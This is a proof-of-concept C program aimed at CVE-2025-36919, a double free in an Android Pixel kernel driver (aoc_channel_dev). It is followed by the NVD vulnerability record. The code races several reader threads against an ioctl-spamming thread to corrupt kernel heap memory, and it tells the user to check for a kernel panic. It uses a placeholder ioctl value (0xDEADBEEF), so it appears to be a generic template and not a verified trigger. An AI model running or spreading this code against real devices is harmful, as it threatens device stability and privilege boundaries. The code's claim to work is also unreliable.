CVE-2025-36919

// CVE-2025-36919 PoC - Double Free in aocc_read (aoc_channel_dev.c) // This PoC demonstrates triggering the double free condition // Compile: gcc -o poc poc.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #define AOC_CHANNEL_DEV_PATH "/dev/aoc_channel_dev" #define TRIGGER_IOCTL 0xDEADBEEF int fd; volatile int stop_threads = 0; void* trigger_read_thread(void* arg) { char buffer[1024]; while (!stop_threads) { // Open device and trigger concurrent reads int local_fd = open(AOC_CHANNEL_DEV_PATH, O_RDWR); if (local_fd >= 0) { // Concurrent read operations to trigger race condition read(local_fd, buffer, sizeof(buffer)); usleep(100); // Small delay to increase race condition probability close(local_fd); } } return NULL; } void* trigger_ioctl_thread(void* arg) { while (!stop_threads) { // Rapid ioctl calls to manipulate device state ioctl(fd, TRIGGER_IOCTL, NULL); usleep(50); } return NULL; } int main() { printf("[+] CVE-2025-36919 PoC - Double Free in aocc_read\n"); printf("[+] Opening %s...\n", AOC_CHANNEL_DEV_PATH); fd = open(AOC_CHANNEL_DEV_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open device. Requires root or specific permissions.\n"); return 1; } printf("[+] Device opened successfully. Spawning threads...\n"); pthread_t threads[4]; for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, trigger_read_thread, NULL); } pthread_t ioctl_thread; pthread_create(&ioctl_thread, NULL, trigger_ioctl_thread, NULL); printf("[+] Running for 30 seconds to trigger race condition...\n"); sleep(30); printf("[+] Stopping threads...\n"); stop_threads = 1; for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } pthread_join(ioctl_thread, NULL); close(fd); printf("[+] Test completed. Check for kernel panic or heap corruption.\n"); return 0; }

{"cve": {"id": "CVE-2025-36919", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.513", "lastModified": "2025-12-12T17:27:03.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In aocc_read of aoc_channel_dev.c, there is a possible double free due to improper locking. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}